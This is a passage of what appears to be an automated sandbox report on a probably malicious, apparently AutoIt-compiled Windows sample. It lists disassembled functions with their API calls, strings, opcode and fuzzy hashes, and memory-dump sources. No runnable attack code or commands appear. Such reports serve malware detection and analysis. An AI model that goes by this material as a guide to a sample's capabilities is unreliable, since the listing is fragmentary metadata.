                              • CreatePopupMenu.USER32 ref: 0045FC97
                              • GetMenuItemCount.USER32(?), ref: 0045FCFD
                              • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 0045FD26
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Menu$Item$CountCreateInfoInsertPopup
                              • String ID: 0$2
                              • API String ID: 93392585-3793063076
                              • Opcode ID: f01c363b391305104942df3bb39f3e86dedaf87795108832ec1df4cdc4019c53
                              • Instruction ID: a5f6d3c146e885c54ead74f35c39eec4acd60bc9fc93d28bc39e3d14768ea649
                              • Opcode Fuzzy Hash: f01c363b391305104942df3bb39f3e86dedaf87795108832ec1df4cdc4019c53
                              • Instruction Fuzzy Hash: B55192719002099BDB11DF69D888BAF7BB4BB44319F14853EEC15DB282D3B8984CCB66
                              Function 004352C2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 114COMMON
                              Download Yara Rule
                              APIs
                              • SafeArrayAccessData.OLEAUT32(?,?), ref: 004352E6
                              • VariantClear.OLEAUT32(?), ref: 00435320
                              • SafeArrayUnaccessData.OLEAUT32(?), ref: 00435340
                              • VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00435373
                              • VariantClear.OLEAUT32(?), ref: 004353B3
                              • SafeArrayUnaccessData.OLEAUT32(?), ref: 004353F6
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ArrayDataSafeVariant$ClearUnaccess$AccessChangeType
                              • String ID: crts
                              • API String ID: 586820018-3724388283
                              • Opcode ID: 545d374044e3945891266c858ffc3b068b1e43ab9a1ba77500f3c10b34ab4cdf
                              • Instruction ID: e94501f388d0d73ced66c0aa9444ce68fa972137b9c89e1913ae9ea64c05cbbc
                              • Opcode Fuzzy Hash: 545d374044e3945891266c858ffc3b068b1e43ab9a1ba77500f3c10b34ab4cdf
                              • Instruction Fuzzy Hash: DE418BB5200208EBDB10CF1CD884A9AB7B5FF9C314F20852AEE49CB351E775E911CBA4
                              Function 0044BBD2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 105filestringCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00410120: GetFullPathNameW.KERNEL32(00000000,00000104,004A7F6C,0040F545,004A7F6C,004A90E8,004A7F6C,?,0040F545), ref: 0041013C
                              • lstrcmpiW.KERNEL32(?,?), ref: 0044BC09
                              • MoveFileW.KERNEL32(?,?), ref: 0044BC3F
                              • _wcscat.LIBCMT ref: 0044BCAF
                              • _wcslen.LIBCMT ref: 0044BCBB
                              • _wcslen.LIBCMT ref: 0044BCD1
                              • SHFileOperationW.SHELL32(?), ref: 0044BD17
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: File_wcslen$FullMoveNameOperationPath_wcscatlstrcmpi
                              • String ID: \*.*
                              • API String ID: 2326526234-1173974218
                              • Opcode ID: dfa273c9728ae0aa44cf40aad3cddd2261aca17058b0337a789aafef13e29e40
                              • Instruction ID: cfb238852dc788c6f4e4306d35388aa956c556a9525b71239849112dc74cb112
                              • Opcode Fuzzy Hash: dfa273c9728ae0aa44cf40aad3cddd2261aca17058b0337a789aafef13e29e40
                              • Instruction Fuzzy Hash: 5C3184B1800219AACF14EFB1DC85ADEB3B5AF48304F5095EEE90997211EB35D748CB98
                              Function 004335CD Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 90COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00433244: _wcsncpy.LIBCMT ref: 0043325C
                              • _wcslen.LIBCMT ref: 004335F2
                              • GetFileAttributesW.KERNEL32(?), ref: 0043361C
                              • GetLastError.KERNEL32 ref: 0043362B
                              • CreateDirectoryW.KERNEL32(?,00000000), ref: 0043363F
                              • _wcsrchr.LIBCMT ref: 00433666
                                • Part of subcall function 004335CD: CreateDirectoryW.KERNEL32(?,00000000), ref: 004336A7
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: CreateDirectory$AttributesErrorFileLast_wcslen_wcsncpy_wcsrchr
                              • String ID: \
                              • API String ID: 321622961-2967466578
                              • Opcode ID: bb0dad1fe383a450cc5ca78da39c882eba2540a6c71c70dd25c8590f96c38e52
                              • Instruction ID: 66c6ecc179b40ab72a0151a8d865592f5e80cbeaaa2383c239fb12261b929cf9
                              • Opcode Fuzzy Hash: bb0dad1fe383a450cc5ca78da39c882eba2540a6c71c70dd25c8590f96c38e52
                              • Instruction Fuzzy Hash: C72129719013146ADF30AF25AC06BEB73AC9B05715F10569AFD18C2241E6799A888BE9
                              Function 0044C7DD Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 88COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __wcsnicmp
                              • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                              • API String ID: 1038674560-2734436370
                              • Opcode ID: 8f8f9edfa5db0492502b932a8328ea4ae50c7534afe07431ae24ccbcd5f30aff
                              • Instruction ID: d05ed79ef8649e951018b8bbb1c2d61e3c33a7345c6b0b1fc41c187b8edaa79f
                              • Opcode Fuzzy Hash: 8f8f9edfa5db0492502b932a8328ea4ae50c7534afe07431ae24ccbcd5f30aff
                              • Instruction Fuzzy Hash: 1221003365151066E72176199C82FDBB3989FA5314F04442BFE049B242D26EF99A83E9
                              Function 00434034 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 49windowCOMMON
                              Download Yara Rule
                              APIs
                              • GetModuleHandleW.KERNEL32(00000000,004A90E8,?,00000100,?,004A7F6C), ref: 00434057
                              • LoadStringW.USER32(00000000), ref: 00434060
                              • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00434075
                              • LoadStringW.USER32(00000000), ref: 00434078
                              • _wprintf.LIBCMT ref: 004340A1
                              • MessageBoxW.USER32(00000000,?,?,00011010), ref: 004340B9
                              Strings
                              • %s (%d) : ==> %s: %s %s, xrefs: 0043409C
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: HandleLoadModuleString$Message_wprintf
                              • String ID: %s (%d) : ==> %s: %s %s
                              • API String ID: 3648134473-3128320259
                              • Opcode ID: 5806584fae846cee426602f55e287a2c1afdddb79e6f9c87a69d5249cd46d2cb
                              • Instruction ID: 3f99f1473d628bc1a501e0113e735bb0cc043e2cca9b2706ac47da9b95460e2a
                              • Opcode Fuzzy Hash: 5806584fae846cee426602f55e287a2c1afdddb79e6f9c87a69d5249cd46d2cb
                              • Instruction Fuzzy Hash: EB016CB26903187EE710E754DD06FFA376CEBC4B11F00459AB708A61C49AF469848BB5
                              Function 0041793C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 40COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • GetModuleHandleW.KERNEL32(KERNEL32.DLL,0048D148,00000008,00417A44,00000000,00000000,?,004115F6,?,00401BAC,?,?,?), ref: 0041794D
                              • __lock.LIBCMT ref: 00417981
                                • Part of subcall function 004182CB: __mtinitlocknum.LIBCMT ref: 004182E1
                                • Part of subcall function 004182CB: __amsg_exit.LIBCMT ref: 004182ED
                                • Part of subcall function 004182CB: RtlEnterCriticalSection.KERNEL32(004115F6,004115F6,?,00417986,0000000D,?,004115F6,?,00401BAC,?,?,?), ref: 004182F5
                              • InterlockedIncrement.KERNEL32(FF00482A), ref: 0041798E
                              • __lock.LIBCMT ref: 004179A2
                              • ___addlocaleref.LIBCMT ref: 004179C0
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
                              • String ID: KERNEL32.DLL$pI
                              • API String ID: 637971194-197072765
                              • Opcode ID: de2ab6b473c2d5586c9f362b8c2f57dc22cd34abb7029a86a899895714b74b87
                              • Instruction ID: a50d44c6e21ae10dfe2421e8c890a682036196f235240147777d58dc068d601e
                              • Opcode Fuzzy Hash: de2ab6b473c2d5586c9f362b8c2f57dc22cd34abb7029a86a899895714b74b87
                              • Instruction Fuzzy Hash: A401A171404B00EFD720AF66C90A78DBBF0AF50324F20890FE496536A1CBB8A684CB5D
                              Function 0046822A Relevance: 12.3, APIs: 8, Instructions: 267COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _memmove$_malloc
                              • String ID:
                              • API String ID: 1938898002-0
                              • Opcode ID: ed671e0929b530e8a80a3994f14b14e6c4fa5d49d1ff8bec0f484948025a4d18
                              • Instruction ID: bb51e0d14dcfee45c4d36839732496dc4400bff611838f67d83ec86e680bb9ef
                              • Opcode Fuzzy Hash: ed671e0929b530e8a80a3994f14b14e6c4fa5d49d1ff8bec0f484948025a4d18
                              • Instruction Fuzzy Hash: FC81CB726001195BDB00EF66DC42AFF7368EF84318F040A6FFD04A7282EE7D995587A9
                              Function 0044B489 Relevance: 12.1, APIs: 8, Instructions: 102fileCOMMON
                              Download Yara Rule
                              APIs
                              • InterlockedExchange.KERNEL32(?,000001F5), ref: 0044B4A7
                                • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                              • ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 0044B4DA
                              • RtlEnterCriticalSection.KERNEL32(?), ref: 0044B4F7
                              • _memmove.LIBCMT ref: 0044B555
                              • _memmove.LIBCMT ref: 0044B578
                              • RtlLeaveCriticalSection.KERNEL32(?), ref: 0044B587
                              • ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 0044B5A3
                              • InterlockedExchange.KERNEL32(?,000001F6), ref: 0044B5B8
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterLeave_malloc
                              • String ID:
                              • API String ID: 2737351978-0
                              • Opcode ID: c49c3180d4577c37a1564da55573a5370bada98f09f15d951758cfc7caeaac8d
                              • Instruction ID: 70cbfa243a2dcbaabd352bc30cb9c3ad46017a318630e818b765f133545e4983
                              • Opcode Fuzzy Hash: c49c3180d4577c37a1564da55573a5370bada98f09f15d951758cfc7caeaac8d
                              • Instruction Fuzzy Hash: 4F41BC71900308EFDB20DF55D984EAFB7B8EF48704F10896EF54696650D7B4EA80CB58
                              Function 00415214 Relevance: 12.1, APIs: 8, Instructions: 66threadCOMMON
                              Download Yara Rule
                              APIs
                              • ___set_flsgetvalue.LIBCMT ref: 0041523A
                              • __calloc_crt.LIBCMT ref: 00415246
                              • __getptd.LIBCMT ref: 00415253
                              • CreateThread.KERNEL32(00000000,?,004151BB,00000000,00000004,00000000), ref: 0041527A
                              • ResumeThread.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 0041528A
                              • GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 00415295
                              • _free.LIBCMT ref: 0041529E
                              • __dosmaperr.LIBCMT ref: 004152A9
                                • Part of subcall function 00417F77: __getptd_noexit.LIBCMT ref: 00417F77
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Thread$CreateErrorLastResume___set_flsgetvalue__calloc_crt__dosmaperr__getptd__getptd_noexit_free
                              • String ID:
                              • API String ID: 3638380555-0
                              • Opcode ID: 75aec11f1c25db1a83b42845bb08a83361ad021f560e0ff3c611ac6fdc7cb8ab
                              • Instruction ID: 1ae632b5747f25178f06b1f704b10109f3b838f12a9538f44878b4cc3517b2ff
                              • Opcode Fuzzy Hash: 75aec11f1c25db1a83b42845bb08a83361ad021f560e0ff3c611ac6fdc7cb8ab
                              • Instruction Fuzzy Hash: 31110A33105B00ABD2102BB69C45ADB37A4DF85734B24065FF924862D1CA7C98814AAD
                              Function 0046C84C Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 308COMMON
                              Download Yara Rule
                              APIs
                              • VariantInit.OLEAUT32(?), ref: 0046C96E
                                • Part of subcall function 00451B42: GetLastError.KERNEL32(?,?,00000000), ref: 00451BA0
                                • Part of subcall function 00451B42: VariantCopy.OLEAUT32(?,?), ref: 00451BF8
                                • Part of subcall function 00451B42: VariantCopy.OLEAUT32(?,?), ref: 00451C0E
                                • Part of subcall function 00451B42: VariantCopy.OLEAUT32(?,?), ref: 00451C27
                                • Part of subcall function 00451B42: VariantClear.OLEAUT32(?), ref: 00451CA1
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Variant$Copy$ClearErrorInitLast
                              • String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                              • API String ID: 3207048006-625585964
                              • Opcode ID: ca4782e3f1b8c357821c68e66e95b499971d8adc7301cf0feb6afda3dd37ffd4
                              • Instruction ID: 684ba17e2c3ca727561f7970afa8535519679aefa5cdc663b381c32651820a10
                              • Opcode Fuzzy Hash: ca4782e3f1b8c357821c68e66e95b499971d8adc7301cf0feb6afda3dd37ffd4
                              • Instruction Fuzzy Hash: F6A19472600209ABDB10DF99DCC1EFEB3B9FB84714F10852EF604A7281E7B59D458BA5
                              Function 00465489 Relevance: 10.8, APIs: 7, Instructions: 281networkmemoryCOMMON
                              Download Yara Rule
                              APIs
                              • WSAStartup.WSOCK32(00000101,?), ref: 00465559
                                • Part of subcall function 0045F645: WideCharToMultiByte.KERNEL32(00000000,00000000,5004C483,D29EE858,00000000,00000000,00000000,00000000,?,?,?,00467B75,?,00473BB8,00473BB8,?), ref: 0045F661
                              • inet_addr.WSOCK32(?,00000000,?,?), ref: 0046559B
                              • gethostbyname.WSOCK32(?), ref: 004655A6
                              • GlobalAlloc.KERNEL32(00000040,00000040), ref: 0046561C
                              • _memmove.LIBCMT ref: 004656CA
                              • GlobalFree.KERNEL32(00000000), ref: 0046575C
                              • WSACleanup.WSOCK32 ref: 00465762
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Global$AllocByteCharCleanupFreeMultiStartupWide_memmovegethostbynameinet_addr
                              • String ID:
                              • API String ID: 2945290962-0
                              • Opcode ID: b73dd2c417b7ad13d51beda6076b83dea337e616a356c7a57e90c36d1df505c0
                              • Instruction ID: 472bd1bc5547e678c188051989a3a6c7a671c7751f2ff3ad056c489052ad9926
                              • Opcode Fuzzy Hash: b73dd2c417b7ad13d51beda6076b83dea337e616a356c7a57e90c36d1df505c0
                              • Instruction Fuzzy Hash: CAA19E72604300AFD310EF65C981F5FB7E8AF88704F544A1EF64597291E778E905CB9A
                              Function 0046B6AB Relevance: 10.8, APIs: 7, Instructions: 258registryCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                              • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046B799
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ConnectRegistry_memmove_wcslen
                              • String ID:
                              • API String ID: 15295421-0
                              • Opcode ID: af9aed33993baa0a6bbf415c0be9acaad95f35a4fb003459e4997ac6d107bcf3
                              • Instruction ID: 8aea567fc0405534ed4901798b67d501f7e0ea7b8d3e81485b6dc33093e60a2a
                              • Opcode Fuzzy Hash: af9aed33993baa0a6bbf415c0be9acaad95f35a4fb003459e4997ac6d107bcf3
                              • Instruction Fuzzy Hash: 96A170B12043019FD710EF65CC85B1BB7E8EF85304F14892EF6859B291DB78E945CB9A
                              Function 00467511 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 213COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
                                • Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193
                              • _wcstok.LIBCMT ref: 004675B2
                                • Part of subcall function 00413EB8: __getptd.LIBCMT ref: 00413EBE
                              • _wcscpy.LIBCMT ref: 00467641
                              • 758ED0D0.COMDLG32(00000058), ref: 00467774
                              • _wcslen.LIBCMT ref: 00467793
                              • _wcslen.LIBCMT ref: 004677BD
                                • Part of subcall function 00461465: _memmove.LIBCMT ref: 004614F8
                              • 758ED1A0.COMDLG32(00000058), ref: 00467807
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _wcslen$_memmove$__getptd_wcscpy_wcstok
                              • String ID: X
                              • API String ID: 3297605031-3081909835
